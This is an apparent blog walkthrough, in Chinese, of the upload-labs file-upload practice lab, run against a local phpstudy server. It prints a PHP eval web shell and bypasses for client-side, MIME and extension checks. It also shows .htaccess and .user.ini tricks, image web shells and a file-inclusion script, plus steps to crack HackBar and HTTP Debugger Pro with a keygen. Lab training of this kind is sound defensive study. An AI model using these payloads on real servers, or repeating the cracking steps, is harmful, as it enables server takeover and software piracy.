最近,我有个朋友老是反映部署的网站老是被黑客攻击,我看了下就是普通的PHP框架搭建的网站,经过一番排除也清除了木马。为此我专门花1天时间研究一下文件上传漏洞,知己知彼方能百战百胜。这里我选择了一个开源的靶场upload-labs。
测试环境部署
游览器插件下载地址
Cookie-Editor:https://chrome.google.com/webstore/detail/hlkenndednhfkekhgcdicdfddnkalmdm
HackBar:
https://hackbar.herokuapp.com/
使用
everything
搜索
hackbar-panel.js
文件的位置,注释或删除以下代码即可过限制:
chrome.storage.local.get(['license'],function(result){...});
upload-labs项目部署
upload-labs项目地址:
https://github.com/c0ny1/upload-labs
下载源码后放入入phpstudy的WWW目录中并启动Apache服务器即可完成部署。
phpstudy下载地址:https://www.xp.cn/
启动后:
网站界面可以创建更多的站点和对应的根目录位置。
然后可以访问项目:
中国蚁剑
源码下载地址:https://github.com/AntSwordProject/antSword
加载器下载:https://gitee.com/AntSwordProject/AntSword-Loader
使用文档:https://www.yuque.com/antswordproject/antsword/srruro
使用步骤下载加载器,打开加载器点击初始化。选择一个空目录则自动下载源码后加载,选择一个现成的源码则直接加载完毕。
抓包工具HTTP Debugger
我使用HTTP Debugger Pro v9.11,下载地址:https://pan.baidu.com/s/12fsnle4-idzzF_yx9DwIog?pwd=qum2
安装步骤:
- 安装
HTTP Debugger Pro v9.11.msi
,安装完成后断开网络 - 运行
HTTP Debugger Pro KeyGen By DSiDERS.exe
点击Activate注册激活后,启动网络 - 将
HTTPDebuggerUI_zh.exe
放入安装目录,以后用它启动HTTP Debugger
通关开始
第一关 过前端js校验
第一关自然是最简单的,我编写的php脚本为:
<?phpheader("Content-type:text/html; charset=gbk");echo"<pre>";
@eval($_POST['xxm']);?>
例如命名为
shell.php
。
上述代码的最简形式:
<?phpeval($_POST['xxm']);?>
关于eval的作用可以查看:https://www.php.net/eval
我们只需要通关开发者工具中的设置 禁用JavaScript 或者 在控制台执行:
checkFile=function(){};
即可将校验逻辑置空,然后就可以顺利的上传该文件。上传成功后,我们就相当于给目标植入了木马。
上传后,我们可以复制图片地址:
然后就可以通过该地址对目标服务器执行任何系统指令:
关于system函数的说明可以查看:https://www.php.net/system
当然,如果我们使用中国蚁剑来操作会方便的多:
连接密码就是post请求所接收的参数,连接成功后,就可以执行任何操作。
双击目标可以查看文件目录,甚至上传下载文件:
右击打开虚拟终端可以手动执行任何命令:
可以看到,只要我们的服务器中了这种木马等于整个服务器都彻底被黑了。
第二关 过后端MIME校验
这次不仅前端会校验,后端也会校验是否为图片类型的MIME。
我们打开抓包工具,过前端校验后上传
shell.php
。虽然上传失败,但是已经发出了包并被HTTPDebugger截获请求信息:
在post请求的具体内容中可以看到游览器生成的MIME类型:
Content-Type: application/octet-stream
我们只需重发一遍刚才截获的请求,并修改MIME类型:
Content-Type: image/jpeg
我们再选中该请求的状态下点击编辑并重新提交:
然后切换到标头,删除多余内容后,点击提交:
然后我们可以看到上传成功:
第3-10关 文件名后缀校验
这8关都是对文件名后缀的校验,每关对文件名后缀的校验都存在不同的漏洞。
各关在扩展名的全面性上升级:
- 第3关:禁止上传 .asp|.aspx|.php|.jsp后缀文件!
- 第4关:禁止上传 .php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf后缀文件!
- 第5关:禁止上传 .php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess后缀文件!
- 第6关:禁止上传 .php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess|.ini后缀文件!
后端的前置处理逻辑:
$file_name=trim($_FILES['upload_file']['name']);//文件名首尾去空$file_name=deldot($file_name);//删除文件名末尾的点$file_ext=strrchr($file_name,'.');$file_ext=strtolower($file_ext);//转换为小写$file_ext=str_ireplace('::$DATA','',$file_ext);//去除字符串::$DATA$file_ext=trim($file_ext);//扩展名首尾去空
第6关虽然对扩展名检测全面,但是少了将扩展名转换为小写,所以可以通过PHP大写的扩展名通过检测,例如
shell.PHP
。
第3关表示在apache的httpd.conf中有如下配置代码:AddType application/x-httpd-php .php .phtml .phps .php5 .pht时存在的漏洞,使用php的等价扩展名php5即可过关。
第4关表示
Hypertext Access
(超文本入口)存在的漏洞,
.htaccess
文件也被成为分布式配置文件,提供了针对目录改变配置的方法,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。
用法:
AddType application/x-httpd-php .jpg
,代表
.jpg
文件会当做
php
来解析。
SetHandler application/x-httpd-php
,代表所有的文件都会当做
php
来解析。
开启
Hypertext Access
,需要在apache的httpd.conf文件中开启
mod_rewrite
模块,配置文件中
LoadMoudle rewrite_module module modules/mod_rewrite.so AllowOverride All
,同时需要将所有的AllowOverride none改为AllowOverride All。
先上传一个
png
的内容为
<?php eval($_POST['xxm']);?>
,再上传文件内容为
SetHandler application/x-httpd-php
的
.htaccess
文件即可。
第5关利用用户自定义的配置文件自动包含代码,上传一个以
auto_propend_file=1.gif
为内容的.user.ini文件,表示所有的php文件都自动包含1.gif文件,
.user.ini
相当于一个用户自定义的php.ini,再上传一个内容为
<?php phpinfo();?>
的命名为1.gif的文件。
这时我们访问
http://localhost/upload/readme.php
该文件就会包含
1.gif
的代码。
第789关原本可以通过借助抓包工具给文件名增加一个空格、一个点和
::$DATA
绕过,但是本人测试出现移动文件异常,提示上传出错或即使上传成功也并没有去掉相应字符解析,说明现在新版的php已经不存在这些漏洞。
第14-17关 校验是否为图片
- 第14关仅读取文件前2个字节判断是否为图片
- 第15关使用getimagesize函数读取图片大小判断是否为图片
- 第16关使用exif_imagetype函数检查是否为图片文件
- 第17关使用imagecreatefromjpeg函数重新渲染生成图片
第14关可以上传内容为
GIF89ad<?php eval($_POST['xxm']);?>
的php文件,可惜服务器返回的图片地址为http://localhost/upload/5420221019220900.gif,已经修改为图片扩展名,无法直接作为php脚本解析。
第15-16关向正常图片追加php脚本后再上传。
准备一个普通图片文件
t.gif
,windows的合并命令:
copy t.gif /b + a.php /a a.gif
Linux:
cat t.gif a.php > a.gif
然后上传a.gif,得到图片地址:http://localhost/upload/5520221019221956.gif
此时可以使用文件包含漏洞,有一个可以包含指定文件脚本
include.php
存在,代码内容:
<?php/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/header("Content-Type:text/html;charset=utf-8");$file=$_GET['file'];if(isset($file)){include$file;}else{show_source(__file__);}?>
于是我们可以通过该脚本包含图片中的代码,下面访问http://localhost/include.php?file=upload/5520221019221956.gif。测试连接成功:
http://localhost/include.php?file=upload/5420221019220900.gif也测试成功。
第17关上传上面图片,代码会因二次渲染自动被删除,我们需要制作二次渲染后代码依然能够被保留的图片。这里我使用winhex打开图片,寻找连续的00最多的地方:
然后用winhex打开php脚本文件并复制:
然后在连续的00最多的地方选中第一个0并粘贴:
然后删除前面完全相同长度的字节数保持文件大小不变:
保存后,图片整体颜色大幅度被改变:
然后我们上传处理后的图片,保存被2次渲染的图片,用文本编辑器查看,可以看到代码依然被保留:
最终也成功连接。
其他关卡有兴趣研究的童鞋可以自行研究。
版权归原作者 小小明-代码实体 所有, 如有侵权,请联系我们删除。